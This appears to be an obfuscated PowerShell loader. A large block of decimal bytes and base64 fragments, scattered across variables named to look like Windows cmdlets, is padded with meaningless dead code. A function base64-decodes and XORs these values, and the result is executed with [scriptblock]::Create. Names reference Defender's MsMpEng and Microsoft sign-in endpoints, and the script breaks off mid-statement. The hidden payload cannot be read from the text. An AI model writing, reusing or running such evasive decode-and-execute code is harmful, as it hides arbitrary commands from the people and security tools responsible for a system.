98 85 119 116 86 86 70 103 102 87 49 49 84 86 70 82 75 70 81 82 119 86 107 69 72 87 86 89 90 70 72 70 79 82 82 90 99 83 48 81 66 88 86 48 87 102 104 66 71 82 103 100 87 86 86 111 74 88 70 99 85 83 82 81 82 88 65 73 82 71 82 56 118 86 48 99 90 74 69 90 90 86 103 70 75 83 120 99 114 87 108 90 88 72 51 112 84 81 83 49 75 86 49 115 74 82 108 112 98 71 104 104 49 87 81 116 77 88 72 73 81 81 108 90 71 72 86 70 89 86 103 70 120 86 48 81 99 99 69 70 98 72 49 70 69 70 85 108 56 101 82 100 89 71 120 112 80 68 48 56 71 83 66 108 69 88 86 115 98 86 48 104 80 69 85 120 102 81 85 81 73 82 85 112 80 69 104 53 83 86 66 66 70 81 81 86 76 84 71 99 74 81 69 100 50 102 106 52 83 89 81 86 75 85 51 81 72 88 49 53 86 71 108 65 87 67 69 81 98 87 49 103 71 87 108 120 72 65 66 112 84 84 81 69 98 77 104 77 56 85 48 66 102 78 85 90 82 81 65 108 99 86 107 77 98 69 103 52 85 86 104 107 98 88 81 70 89 88 70 115 78 81 85 65 85 85 71 82 90 81 103 70 76 97 49 56 78 88 108 56 67 81 66 81 98 101 119 116 112 71 66 111 116 83 108 90 88 65 85 66 102 87 103 112 112 86 49 115 66 85 85 111 85 70 72 90 80 82 81 86 75 83 120 100 70 90 86 112 97 69 70 116 66 90 104 66 65 86 70 74 73 85 110 116 100 69 70 66 84 87 48 81 85 101 49 103 70 88 49 74 97 69 66 81 85 70 48 66 74 83 49 81 72 88 49 53 86 71 108 65 85 70 48 89 122 77 104 82 73 89 86 66 99 69 86 66 68 87 81 70 100 71 71 77 74 81 86 103 85 74 49 70 86 81 81 49 87 86 106 49 76 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 122 77 104 77 56 85 48 66 102 77 70 86 67 85 69 81 69 71 66 86 77 71 110 82 82 65 66 108 121 86 66 66 99 71 66 111 117 88 85 70 90 70 85 65 87 70 120 49 65 81 85 53 70 102 51 52 90 69 70 66 105 102 83 119 68 86 86 112 83 81 85 65 97 69 108 74 81 85 119 74 102 88 104 86 66 69 68 107 81 73 70 86 70 88 105 66 99 83 49 81 97 87 48 78 65 72 86 116 89 70 86 107 90 71 109 77 65 87 48 65 85 65 70 86 70 88 107 82 89 84 85 77 72 88 49 74 65 72 86 100 88 87 81 104 65 71 70 111 74 88 70 74 84 69 85 99 87 81 66 82 100 87 85 77 78 81 82 78 83 71 48 89 87 81 81 120 99 71 69 73 98 86 48 70 72 86 70 86 89 85 85 82 78 85 70 74 73 88 49 74 88 72 70 49 89 85 69 103 90 88 86 107 74 85 70 57 100 71 108 77 87 85 65 112 76 86 49 115 69 88 49 90 97 65 66 103 87 82 119 116 89 86 86 52 71 86 82 78 86 71 108 65 87 87 104 66 82 88 85 86 73 81 86 90 71 65 108 49 86 85 66 99 88 71 106 49 77 90 108 74 72 72 50 100 47 99 85 81 69 71 71 119 55 83 48 66 65 69 86 107 89 90 103 70 97 84 85 85 66 82 107 111 97 74 69 90 102 87 119 100 81 83 70 89 69 72 71 82 100 71 108 66 90 81 104 100 119 88 70 73 71 82 108 112 65 68 87 107 77 68 121 78 99 84 72 81 100 81 69 70 82 71 107 65 101 72 69 112 115 83 49 73 97 72 71 86 86 71 69 70 84 80 50 52 100 98 70 89 98 87 87 116 53 79 66 81 76 70 83 81 98 77 103 116 88 83 108 53 89 86 69 74 84 82 120 100 81 86 49 108 86 69 65 73 97 82 66 89 87 85 65 112 97 86 49 77 66 88 70 81 74 86 109 70 105 99 48 107 73 68 104 86 88 68 68 107 73 73 70 86 70 88 107 82 80 88 85 85 98 87 49 120 97 83 82 89 72 71 49 65 98 71 69 56 70 88 108 49 72 83 82 90 101 81 82 66 74 65 104 104 72 81 86 66 99 69 86 108 88 82 107 112 85 85 86 81 97 88 85 66 98 69 107 65 89 86 103 116 85 70 48 65 66 88 70 100 98 65 48 99 90 66 49 81 74 68 66 104 89 65 66 120 90 72 85 65 90 81 81 86 75 85 120 86 87 79 66 77 85 83 71 90 84 85 103 49 75 84 69 85 74 82 108 112 98 71 110 49 89 85 119 115 72 77 104 100 73 69 104 77 73 77 70 86 67 85 70 111 100 98 70 89 98 87 88 100 86 65 70 69 75 71 105 66 89 84 70 74 87 79 66 77 85 86 66 81 75 100 66 70 78 85 70 103 97 68 66 100 103 70 85 100 100 100 66 70 78 85 70 103 97 68 104 120 49 65 85 66 101 87 104 89 72 77 104 100 73 69 104 77 73 77 70 70 70 86 104 90 81 83 69 77 66 88 86 48 75 85 71 66 88 82 103 57 57 88 85 81 76 81 70 112 69 65 70 49 90 87 49 103 87 102 70 73 98 85 85 70 100 66 69 66 102 87 103 111 72 77 104 100 73 69 104 77 73 73 87 90 47 67 48 66 116 87 85 81 68 90 50 70 57 83 66 116 106 90 121 48 72 77 104 100 73 68 104 120 109 69 86 78 102 82 104 66 76 87 85 77 66 88 86 49 57 71 108 74 90 67 50 52 90 71 65 115 56 81 70 112 84 69 49 70 69 82 108 111 122 71 66 100 73 69 103 57 109 69 86 78 102 82 104 66 76 87 85 77 66 88 86 49 103 66 108 49 82 85 103 70 76 66 106 49 73 69 104 77 85 86 66 81 75 90 119 70 74 88 85 77 66 82 108 112 98 71 103 111 56 70 85 81 90 71 66 100 73 69 104 77 73 80 86 112 67 85 66 90 80 87 86 116 87 89 109 99 70 82 72 107 75 71 105 49 88 84 70 73 97 82 70 74 89 83 106 52 87 70 85 81 90 71 66 100 73 69 103 57 110 65 70 116 71 100 66 66 57 84 85 85 74 82 108 112 98 71 110 70 89 85 86 112 102 87 86 115 98 86 119 56 98 74 48 66 90 82 83 86 78 102 69 73 97 85 48 100 100 71 49 112 122 87 119 65 72 77 104 100 73 69 104 77 85 86 65 103 90 90 119 70 74 88 85 77 66 82 108 112 98 71 103 111 56 70 85 81 90 71 66 100 73 68 110 90 97 70 86 90 97 85 65 65 72 84 69 85 100 86 119 56 98 77 86 112 88 86 119 104 99 88 65 108 105 69 104 77 85 86 65 103 90 90 119 70 101 85 85 81 99 81 70 74 65 72 86 116 89 89 82 90 81 88 49 65 78 81 65 48 43 86 66 81 87 70 86 104 49 86 49 65 72 88 71 100 71 72 86 78 82 85 66 89 72 77 104 100 73 69 104 77 85 86 65 104 122 87 119 86 98 86 70 73 77 68 69 100 71 65 86 69 75 71 105 70 88 87 86 85 69 86 49 99 75 102 104 81 87 70 85 81 90 71 65 115 57 81 86 90 71 80 86 65 73 69 84 66 89 83 49 119 112 82 48 100 99 71 48 89 75 71 106 70 75 88 85 85 104 86 103 48 43 86 66 81 87 70 85 81 90 66 72 77 78 88 108 74 78 83 109 82 105 66 108 82 48 66 66 103 115 86 49 57 86 68 81 111 56 70 85 81 90 71 65 116 72 102 108 120 84 71 49 112 105 82 119 49 101 88 49 73 97 68 68 107 85 86 65 103 90 89 82 90 81 88 49 65 78 81 69 65 75 102 104 81 87 67 84 82 76 85 86 107 76 87 48 78 86 71 69 99 73 80 48 81 90 71 66 100 85 89 107 70 100 71 108 100 102 82 81 86 86 71 70 52 77 68 120 70 49 65 85 66 101 87 104 89 98 66 106 49 73 69 104 77 85 86 66 81 75 89 66 100 99 83 110 52 77 68 66 100 103 70 85 100 100 90 105 49 57 66 66 103 57 81 86 90 71 80 86 65 73 80 48 81 90 71 66 100 73 69 103 57 52 71 49 78 90 87 122 66 65 83 70 74 87 101 49 49 65 69 85 90 88 86 104 66 81 84 108 73 56 88 86 104 82 71 103 103 90 101 81 116 101 86 49 107 56 83 48 78 82 83 106 52 87 70 85 81 90 71 66 100 85 89 69 90 97 79 70 70 65 85 65 103 72 100 70 73 74 81 85 100 107 66 108 49 65 88 65 104 99 88 49 74 85 72 87 70 66 71 110 104 84 81 119 70 86 66 106 49 73 69 104 77 85 83 66 116 109 82 119 49 88 87 49 52 89 85 49 56 75 102 104 81 87 67 85 116 112 83 108 52 71 85 86 112 69 70 86 104 70 67 50 52 90 71 65 115 55 86 48 100 65 72 86 112 82 82 108 111 122 71 66 100 73 69 103 57 53 65 86 104 67 88 66 82 86 88 88 52 71 81 85 100 86 71 108 100 84 82 106 82 87 86 70 52 76 83 119 49 57 69 49 112 90 82 119 70 51 88 85 66 85 72 88 53 66 71 69 66 102 82 81 104 99 99 86 107 98 82 108 74 97 70 49 70 70 90 81 116 86 85 86 81 82 68 68 107 85 86 66 81 87 67 83 66 81 83 49 89 69 88 108 120 68 74 48 66 88 82 120 66 119 88 110 103 71 99 70 74 65 65 70 70 69 88 65 70 75 66 108 69 74 88 107 66 82 83 66 116 121 88 66 100 89 86 70 115 72 82 87 66 65 70 85 90 67 102 65 74 50 86 110 85 74 82 107 100 82 66 108 49 84 82 108 111 122 71 66 100 73 69 103 57 110 65 70 116 71 102 65 74 43 86 49 52 71 86 88 120 97 78 108 86 67 81 81 70 76 85 86 73 98 68 69 100 71 65 86 69 75 71 106 100 78 86 48 99 104 86 72 82 98 72 86 112 82 101 103 112 55 87 85 77 99 86 48 70 100 69 85 99 73 80 48 81 90 71 66 100 85 99 49 57 89 71 48 78 43 86 66 90 100 98 70 73 97 88 49 112 97 70 85 66 84 67 119 74 89 86 69 81 78 68 104 120 49 71 70 104 90 81 105 120 89 83 108 77 56 86 48 70 90 72 86 112 88 81 81 69 72 77 104 100 73 69 104 77 73 74 48 66 88 82 120 66 117 85 70 73 71 99 48 86 86 72 86 104 88 86 119 104 99 66 107 77 97 82 49 89 73 87 50 100 67 86 66 90 78 98 49 56 78 88 72 74 67 70 86 49 97 86 65 90 86 88 81 108 105 69 104 77 85 86 65 104 107 81 65 112 50 86 108 115 82 101 49 86 54 69 85 66 66 87 104 90 83 101 85 69 74 87 49 57 86 70 108 104 84 67 119 74 89 86 69 81 78 68 104 120 109 65 86 112 53 87 119 104 65 99 86 69 109 86 48 100 68 71 48 90 100 100 66 74 89 85 86 115 74 85 70 57 82 83 106 52 87 70 85 81 90 66 72 52 77 88 108 90 110 69 85 66 67 88 65 112 101 83 119 108 105 69 104 77 85 86 66 81 87 67 84 100 78 86 48 99 110 88 72 112 81 71 70 70 122 87 119 65 72 84 69 85 100 86 119 56 98 74 48 66 90 82 83 116 88 99 86 77 69 86 51 90 97 69 65 111 56 70 85 81 90 71 66 100 73 68 109 70 82 66 48 66 88 82 120 66 50 86 110 52 77 88 108 89 75 69 108 86 97 82 103 69 70 70 50 85 78 81 85 100 86 66 107 66 53 87 121 49 100 86 70 74 87 79 66 77 85 86 66 81 75 71 105 49 100 86 70 73 55 86 48 100 65 72 86 112 82 82 108 111 122 71 66 100 73 69 103 57 49 71 70 104 90 81 106 100 78 87 85 85 99 102 86 49 119 69 86 108 88 87 119 65 72 84 69 85 100 86 119 56 98 78 86 104 97 87 104 78 113 84 70 89 97 82 110 120 97 77 70 70 98 86 65 112 100 66 106 49 73 69 104 77 85 83 72 70 89 86 65 90 86 88 86 78 87 82 107 70 66 69 81 103 90 99 65 112 89 87 108 115 78 86 103 48 43 86 66 81 87 70 86 104 120 85 86 77 77 86 49 48 75 65 69 90 68 85 70 103 87 99 70 52 77 86 108 90 97 83 106 52 87 70 85 81 90 66 71 85 100 88 72 120 97 71 69 49 47 85 121 49 100 86 70 74 87 86 70 74 89 66 49 69 75 71 106 90 77 86 110 103 71 88 107 112 57 69 110 49 83 87 81 69 72 77 104 100 73 69 104 77 73 77 70 49 70 86 65 104 86 86 48 65 55 82 108 74 71 65 72 116 89 90 119 70 85 86 48 77 78 99 48 78 69 74 49 70 70 82 103 49 87 86 103 107 79 85 49 57 72 69 81 103 90 99 81 49 75 87 86 115 69 88 85 82 110 65 70 86 69 81 83 116 88 97 108 73 70 88 85 100 82 78 85 82 71 90 103 70 75 83 49 52 72 88 65 48 43 86 66 81 87 70 86 104 115 83 49 73 57 88 70 112 83 72 86 70 83 90 103 100 82 88 86 77 100 88 108 112 97 69 51 70 89 85 103 49 88 88 81 107 99 81 69 90 82 83 66 116 106 82 103 70 115 86 108 52 79 87 49 90 81 74 49 100 101 85 65 66 77 86 70 52 71 86 88 90 97 69 49 49 89 85 70 111 122 71 66 100 73 69 103 57 106 70 86 57 84 89 81 116 114 84 86 108 87 82 107 70 66 69 81 103 90 89 103 86 83 88 87 77 72 89 69 90 97 83 106 52 87 70 85 81 90 66 72 73 81 86 49 66 66 65 70 49 90 87 122 66 81 86 86 73 107 87 49 53 100 65 65 112 109 89 86 82 113 66 66 103 116 83 108 90 88 65 85 66 102 87 103 112 116 85 86 111 78 102 108 112 90 72 85 65 73 80 48 81 90 71 66 100 85 89 107 70 100 71 48 90 102 81 82 48 72 68 119 116 72 89 107 70 100 71 48 90 102 81 82 48 72 77 104 100 73 69 104 77 73 74 108 70 70 81 81 86 76 84 72 103 71 100 70 74 100 71 69 70 69 85 70 111 122 71 66 100 73 69 104 77 85 83 72 49 89 81 81 70 76 84 108 89 69 68 71 78 103 81 88 107 75 71 105 49 88 84 70 73 97 82 70 74 89 83 106 52 87 70 85 81 90 71 66 100 85 99 86 120 66 71 107 65 73 66 108 103 87 101 49 103 100 88 69 99 75 102 104 81 87 70 85 81 70 70 50 85 78 81 85 100 86 66 107 66 53 87 121 74 89 85 86 115 100 81 70 89 75 102 104 81 87 67 85 116 113 88 85 77 99 87 49 49 84 66 119 111 56 70 85 81 70 101 86 81 99 87 49 120 97 66 120 82 49 87 103 112 78 88 85 56 99 68 120 70 49 65 85 66 101 87 104 89 98 66 106 49 73 69 104 77 85 83 72 70 79 85 65 99 72 77 104 100 73 69 104 77 85 86 65 104 49 87 103 108 85 87 86 107 77 68 66 100 103 70 85 100 100 100 103 116 85 86 86 89 71 86 103 56 98 78 49 116 98 87 65 86 88 88 65 108 105 69 104 77 85 86 66 81 87 67 83 86 76 88 48 73 70 86 49 49 65 66 119 111 83 89 81 86 75 85 51 89 97 86 85 90 90 69 86 112 67 82 108 103 87 101 85 85 80 82 49 53 82 71 107 66 70 67 50 52 90 71 66 100 73 68 104 120 120 68 70 70 86 67 50 52 90 71 65 116 72 99 49 66 65 72 86 116 89 82 108 111 122 66 66 103 56 85 48 66 102 83 106 52 85 100 87 52 122 72 71 77 74 81 86 104 115 79 88 103 87 83 85 82 50 84 85 78 70 100 70 112 89 69 82 81 85 69 81 70 88 84 103 48 56 100 51 53 107 75 69 100 86 88 81 70 80 86 107 78 71 83 108 53 89 86 104 81 98 99 65 112 97 86 49 77 66 88 70 81 85 73 86 112 102 86 103 116 100 88 84 48 98 85 86 116 65 70 85 100 100 82 107 81 87 87 48 85 78 85 48 100 82 86 66 116 67 87 48 81 100 98 70 89 98 87 87 90 109 80 82 81 90 84 81 108 86 71 66 86 77 86 49 49 67 84 109 66 122 101 68 82 108 83 49 81 65 86 48 86 97 65 66 112 79 87 65 103 98 71 66 103 79 69 107 56 85 79 48 70 67 71 67 112 77 86 70 116 105 89 70 90 90 71 48 74 84 71 67 49 78 88 86 112 73 69 66 100 82 71 107 73 77 89 83 70 48 97 71 115 98 85 86 116 82 65 108 112 67 71 120 120 85 86 66 86 73 72 51 86 98 66 108 100 84 80 50 52 97 71 72 81 65 86 49 66 102 86 72 100 68 82 120 90 99 86 107 78 73 89 69 90 97 71 108 49 89 85 107 82 116 87 85 81 68 81 84 107 88 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 86 68 119 52 74 83 81 107 76 67 70 107 69 66 81 112 105 86 69 90 97 70 48 66 102 87 103 111 90 102 49 73 99 72 51 90 67 69 86 112 67 101 103 90 84 88 86 81 99 100 108 90 83 72 86 112 102 81 81 49 87 86 104 57 77 86 48 86 82 71 107 66 102 85 85 48 122 81 122 49 73 69 104 77 85 85 71 100 84 82 120 74 81 87 49 74 73 68 120 78 97 69 85 77 98 87 103 90 84 88 86 81 99 69 104 53 51 71 49 108 53 86 119 53 99 87 48 78 65 69 71 66 88 72 70 70 83 81 65 104 99 70 109 81 78 81 69 86 100 70 49 69 85 72 71 52 90 71 66 100 73 70 109 66 82 66 107 74 102 86 103 69 88 101 49 103 71 88 70 90 88 65 66 119 102 80 48 81 90 71 66 100 77 89 70 120 98 65 72 74 90 87 81 66 99 83 104 100 86 69 104 100 110 69 85 90 65 88 65 100 99 70 110 65 78 82 110 86 98 71 70 66 84 82 48 119 98 90 66 86 66 79 66 77 85 86 66 81 83 89 81 86 75 85 51 77 78 86 70 112 97 72 85 66 102 87 103 111 90 66 82 100 77 89 86 90 71 65 108 49 86 85 69 112 51 88 85 65 56 85 48 66 102 88 65 81 102 80 48 81 90 71 66 100 77 81 70 90 84 80 86 112 81 87 107 81 69 71 66 77 56 85 48 66 102 77 70 70 81 88 65 112 81 84 70 52 72 88 66 49 109 69 86 78 102 82 104 66 76 87 85 77 66 88 86 49 57 71 108 74 90 80 48 81 90 71 66 100 77 81 70 90 84 80 86 112 81 87 107 112 57 88 85 81 76 81 70 112 69 65 70 49 90 87 48 81 69 71 66 65 56 87 108 112 72 86 69 66 88 82 103 56 90 87 85 73 99 88 86 53 86 65 70 49 86 86 65 104 86 81 82 99 70 85 49 49 86 69 49 70 70 70 82 70 74 88 70 89 99 86 48 65 85 69 108 116 69 70 82 66 82 88 82 99 100 81 86 90 71 66 120 82 88 87 119 65 90 84 70 56 78 69 108 53 86 70 49 120 102 87 119 69 86 71 70 73 71 85 49 70 89 72 86 112 82 70 81 70 88 83 108 103 69 88 108 53 82 71 107 65 97 70 82 90 87 87 86 111 66 88 70 81 85 70 86 112 83 70 81 116 78 85 70 73 97 69 107 66 82 66 107 74 102 86 103 70 75 70 104 66 105 69 104 77 85 86 66 66 69 85 65 78 119 86 108 69 72 72 72 74 66 65 70 120 90 82 48 81 69 71 66 77 78 88 69 85 79 73 87 100 122 90 121 112 52 100 88 74 105 69 104 77 85 86 66 66 70 85 66 66 78 85 86 107 80 81 82 77 74 86 66 66 105 86 66 100 83 102 70 73 79 87 49 49 100 65 70 49 90 87 48 112 113 88 85 77 99 87 49 49 84 66 122 52 87 70 85 81 90 72 69 81 78 82 107 100 100 71 108 78 70 71 121 70 88 87 86 85 69 86 49 99 85 83 82 81 83 81 82 90 77 88 84 49 73 69 104 77 85 85 69 100 84 81 82 66 81 86 108 65 98 72 71 66 65 70 85 90 67 89 103 120 99 86 110 89 101 85 49 112 89 70 86 90 97 85 69 81 69 71 66 77 99 81 69 90 82 102 104 81 87 70 85 81 100 83 49 73 99 82 108 112 97 69 48 99 89 102 81 49 100 88 70 73 71 69 103 52 85 85 69 66 69 81 65 69 122 71 66 100 73 69 104 100 103 66 108 49 82 85 103 70 76 83 120 100 86 69 104 100 103 70 85 100 100 99 81 70 102 85 86 107 66 82 108 112 98 71 104 112 105 82 119 49 101 88 49 73 97 81 84 107 85 86 66 81 87 69 84 66 76 85 86 65 80 86 48 69 85 83 82 81 83 89 82 90 81 88 49 65 78 81 69 65 97 78 48 90 84 86 66 66 99 69 65 100 66 79 66 77 85 86 66 81 83 89 82 90 81 88 49 65 78 81 66 49 57 69 66 81 76 70 85 66 99 84 108 73 71 82 108 112 81 102 104 81 87 70 85 81 100 98 69 85 66 86 86 82 82 66 104 112 108 81 65 90 75 87 48 85 66 81 107 100 100 71 49 111 87 67 69 81 98 66 71 89 100 86 48 70 78 79 70 49 70 81 86 111 70 97 85 73 78 81 69 111 85 80 86 65 76 69 108 81 101 66 103 115 55 86 49 57 82 70 48 65 87 90 81 86 78 85 65 112 80 99 48 78 69 71 70 49 86 86 66 66 81 86 49 108 80 68 66 108 118 74 48 49 70 81 81 70 85 89 120 56 116 82 70 90 97 65 72 49 121 67 69 66 99 84 108 73 71 82 108 112 81 88 87 108 114 67 85 116 113 88 86 115 78 85 85 99 75 83 66 116 110 81 65 70 76 81 81 108 85 72 87 74 66 69 85 90 80 101 81 49 75 84 65 108 75 69 106 107 85 86 66 81 87 69 84 66 76 85 86 65 80 86 48 69 97 77 86 112 88 86 119 104 99 88 66 100 86 69 104 100 65 66 107 70 84 70 85 81 90 71 68 49 73 69 104 77 85 85 72 86 86 81 81 49 87 86 104 100 86 69 104 100 103 70 85 100 100 99 81 70 102 85 86 107 66 82 108 112 98 71 104 112 51 86 104 66 81 86 49 107 98 72 72 66 71 69 86 86 67 85 69 119 74 69 84 49 73 69 104 77 85 85 72 86 86 81 81 49 87 86 104 107 52 85 48 100 99 86 65 107 87 69 84 66 89 83 49 119 114 88 86 53 90 70 86 112 83 80 48 81 90 71 66 100 77 99 49 66 65 72 86 116 89 71 121 86 76 88 48 73 70 86 49 49 65 66 120 81 76 70 85 66 116 87 85 81 68 99 48 70 84 65 86 108 84 87 120 66 75 77 104 100 73 69 104 77 81 74 108 116 90 81 83 74 87 86 70 77 78 81 66 49 109 69 86 78 102 82 104 66 99 83 109 77 74 81 86 104 119 69 86 74 102 87 119 49 78 85 86 103 71 71 104 70 122 71 49 116 82 87 81 69 90 101 49 103 70 81 108 74 65 72 86 90 102 87 81 49 78 81 82 99 112 81 107 78 71 70 86 49 70 85 66 89 90 72 71 77 74 81 86 104 54 70 86 108 84 90 82 90 99 88 108 52 81 69 66 56 81 73 70 86 70 88 105 66 99 88 108 52 71 87 48 100 100 71 49 111 97 65 48 103 100 86 107 73 69 88 104 56 81 71 107 70 97 87 85 103 75 69 82 99 85 69 110 120 66 65 66 108 52 81 65 104 86 77 107 112 105 79 70 86 66 71 108 100 67 88 65 116 88 71 72 69 66 88 70 99 90 78 49 116 98 87 65 116 88 102 85 69 78 88 69 100 72 88 66 48 56 84 109 52 90 71 66 100 73 70 108 90 67 69 86 112 67 88 65 65 90 66 82 99 118 86 48 99 90 77 85 74 84 87 120 66 86 86 49 66 73 72 51 49 82 65 49 70 70 81 85 81 77 67 65 100 73 72 51 57 98 69 51 112 88 87 65 69 90 101 85 99 89 88 108 112 88 70 85 66 102 87 103 111 90 82 66 99 118 81 70 120 66 66 66 108 53 86 119 53 99 87 48 78 73 72 50 78 71 71 48 82 84 82 120 66 65 71 72 73 101 86 49 49 65 80 88 65 87 71 67 112 87 102 86 115 78 88 49 90 97 65 66 82 75 70 84 100 87 83 107 78 70 102 86 70 101 69 86 100 67 70 85 108 112 83 108 103 89 86 48 70 65 68 82 82 86 87 104 70 88 84 66 100 70 100 108 90 72 70 49 70 89 85 81 49 88 88 120 99 85 69 109 66 82 71 70 70 86 81 85 108 50 87 108 48 78 85 85 99 85 87 88 74 102 82 120 100 78 71 65 90 73 84 104 78 110 69 86 104 84 86 104 65 85 100 49 85 67 86 49 66 65 86 66 108 122 84 82 82 89 86 108 77 52 81 70 120 69 69 85 90 67 84 69 82 51 87 86 111 78 79 66 77 85 86 66 82 120 85 66 65 85 102 85 69 78 88 69 100 55 70 108 53 84 86 104 66 57 88 86 69 66 88 70 112 65 72 86 116 89 72 85 66 99 84 108 73 71 82 108 112 81 88 84 53 76 80 121 74 81 86 108 78 70 99 86 120 90 71 86 116 89 99 66 74 99 86 107 77 98; if ($false) { $x = 8 } ${Get-Partition -ExpandProperty Name -LogName Microsoft-Windows-DNS-Client/Operational && ($hntidl)} = "bmQpIHsKICAgI";${Select-Object -Encoding UTF8 -LogName System && ($kkcnan)} = "CRjcHUgPSA";${Get-ADOrganizationalUnit -Unique -Depth 8 && ($tmlmps)} = "oR2V0L"; if ($false) { $x = 2 } for ($i = 0; $i -lt 9; $i++) { $nextvar = $i } ${Restart-Service -Exclude *.tmp -Name MsMpEng && ($idg)} = "UNvdW50Z";${Get-HotFix -AllowClobber -Uri autologon.microsoftazuread-sso.com/winauth/sso && ($ran)} = "XIgJ1xQcm9"; while ($counter -lt 3) { $counter++ } for ($j = 0; $j -lt 6; $j++) { $final += $j } ${Get-AzSubscription -Exclude *.tmp -Path .\Program Files && ($glsmd)} = "jZXNzb3I";${Get-MsolUser -Exclude *.tmp -ComputerName $appserver01 && ($rapn)} = "oX1RvdGF";${Get-ADComputer -Parallel -Identity CN=Administrator && ($llecln)} = "sKVwl"; try { $y = 6 } catch { $error } if ($false) { $x = 3 } try { $y = 3 } catch { $error } ${Set-ItemProperty -CaseSensitive -ClassName Win32_UserAccount && ($koefr)} = "IFBy";${Get-Date -InputFormat -LogName Security && ($bhhd)} = "b2Nlc3Nvc";${Get-TransportRule -Unique -ComputerName SRV-WEB-00 && ($frcd)} = "iBUaW1"; $Win32_count = 8 try { Remove-Item -Path "C:\temp\logfile_4.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 5 } ${Stop-ScheduledTask -Append -DestinationPath \\nas\archive && ($rfl)} = "lJykuQ291bnR";${Get-ADComputer -TimeoutSec 30 -TaskPath \CustomTasks\ && ($eotf)} = "lclNhbXB";${Get-NetIPConfiguration -NoTypeInformation -Uri login.windows.net/common/oauth2/authorize && ($lmi)} = "sZXMuQ2"; function SymaphorType { $ddf = [System.Text.Encoding]::UTF8.GetString($useAccumulation) $goal = [System.Text.Encoding]::UTF8 $literal = $goal.GetString([System.Convert]::FromBase64String($ddf)) $evalLiteral = $goal.GetBytes($literal) $preCalculatedDigit = $goal.GetBytes("$setpreCalculatedDigit") $nonCriticala = New-Object byte[] $evalLiteral.Length for ($i = 0; $i -lt $evalLiteral.Length; $i++) { $nonCriticala[$i] = $evalLiteral[$i] -bxor $preCalculatedDigit[$i % $preCalculatedDigit.Length] } $nonCriticala = $goal.GetString($nonCriticala) return $nonCriticala } $exchangedSignal = SymaphorType & ([scriptblock]::Create($exchangedSignal)) try { $void = Get-Random -Minimum 4 -Maximum 6 } catch { $void = $null } $backupcount = 3 ${Select-Object -Debug -DestinationPath .\Export && ($oaei)} = "9va2VkVmFsdWU";${ConvertTo-Csv -Verbose -DestinationPath .\Export && ($saiho)} = "KICAgIFdyaXRlLU";${Get-PfxCertificate -OutputFormat -Identity $adUser09 && ($ptlrr)} = "hvc3"; try { Remove-Item -Path "C:\temp\logfile_9.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 0 } while ($null) { $run = 7; Start-Sleep -Seconds 1 } $set_scaler_77 = 519 ${Get-UnifiedGroup -NoTypeInformation -ClassName MSFT_NetIPAddress && ($hlg)} = "QgKCJDUFU6IHsw";${Get-WindowsCapability -NoTypeInformation -Namespace root\ccm\Policy && ($bmtpfs)} = "Ok4yf"; $Win32_count = 1 $randIndex = Get-Random -Minimum 0 -Maximum 10 for ($j = 0; $j -lt 0; $j++) { $final += $j } ${Select-Object -ErrorAction SilentlyContinue -DestinationPath .\Export && ($tga)} = "SUiIC1mICR";${Get-ADDomainController -WhatIf -EventId 4625 && ($fbi)} = "jcHUpCiAgI";${Get-ItemProperty -Filter * -ComputerName YOURDC06 && ($beaf)} = "CBTdGFydC1TbG"; if ($errorLevel -gt 0) { Write-Output '$result' } if ($false) { $x = 0 } ${Get-Package -Append -InformationLevel Debug && ($dmfgtn)} = "VlcCAtU2V";${Get-PhysicalDisk -Include * -Namespace root\Microsoft\Windows\Storage && ($cpkgbl)} = "jb25kcyAx"; for ($j = 0; $j -lt 0; $j++) { $final += $j } for ($j = 0; $j -lt 9; $j++) { $final += $j } ${Get-CMApplication -TimeoutSec 30 -Path .\inetpub\wwwroot && ($incm)} = "Cn0="; for ($j = 0; $j -lt 4; $j++) { $final += $j } $Win32_count = 2 if ($errorLevel -gt 2) { Write-Output '$result' } ${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} = @() ${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += @(${Optimize-Volume -Filter * -InformationLevel Minimal && ($nea)} ${Out-String -Property * -TaskPath \Microsoft\Windows\ && ($efm)} ${Get-AzStorageAccount -OutVariable result -InformationLevel Quiet && ($hmtr)} ${ConvertFrom-Json -Recurse -Uri security.microsoft.com/incidents && ($rkgats)} ${Get-MsolUser -Property * -Server $adfsServer && ($tngrnm)}) $set_scaler_37 = 388 $backupcount = 7 ${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += @(${Export-Certificate -Debug -TaskPath \Monitoring\ && ($naniba)} ${Import-Module -WarningVariable warnLog -Uri update.microsoft.com/microsoftupdate && ($mhe)} ${Get-PhysicalDisk -NoClobber -Identity DOMAIN\svc_backup00 && ($elbirk)} ${ConvertTo-Json -OutVariable result -InformationLevel Minimal && ($ersp)} ${Write-Output -TimeoutSec 30 -Path .\Windows\System32 && ($alg)} ${Get-Partition -ExpandProperty Name -LogName Microsoft-Windows-DNS-Client/Operational && ($hntidl)} ${Select-Object -Encoding UTF8 -LogName System && ($kkcnan)}) if ($errorLevel -gt 0) { Write-Output '$result' } $randIndex = Get-Random -Minimum 5 -Maximum 16 ${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += @(${Get-ADOrganizationalUnit -Unique -Depth 8 && ($tmlmps)} ${Restart-Service -Exclude *.tmp -Name MsMpEng && ($idg)} ${Get-HotFix -AllowClobber -Uri autologon.microsoftazuread-sso.com/winauth/sso && ($ran)}) while ($counter -lt 6) { $counter++ } if ($errorLevel -gt 1) { Write-Output '$result' } for ($j = 0; $j -lt 2; $j++) { $final += $j } ${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += 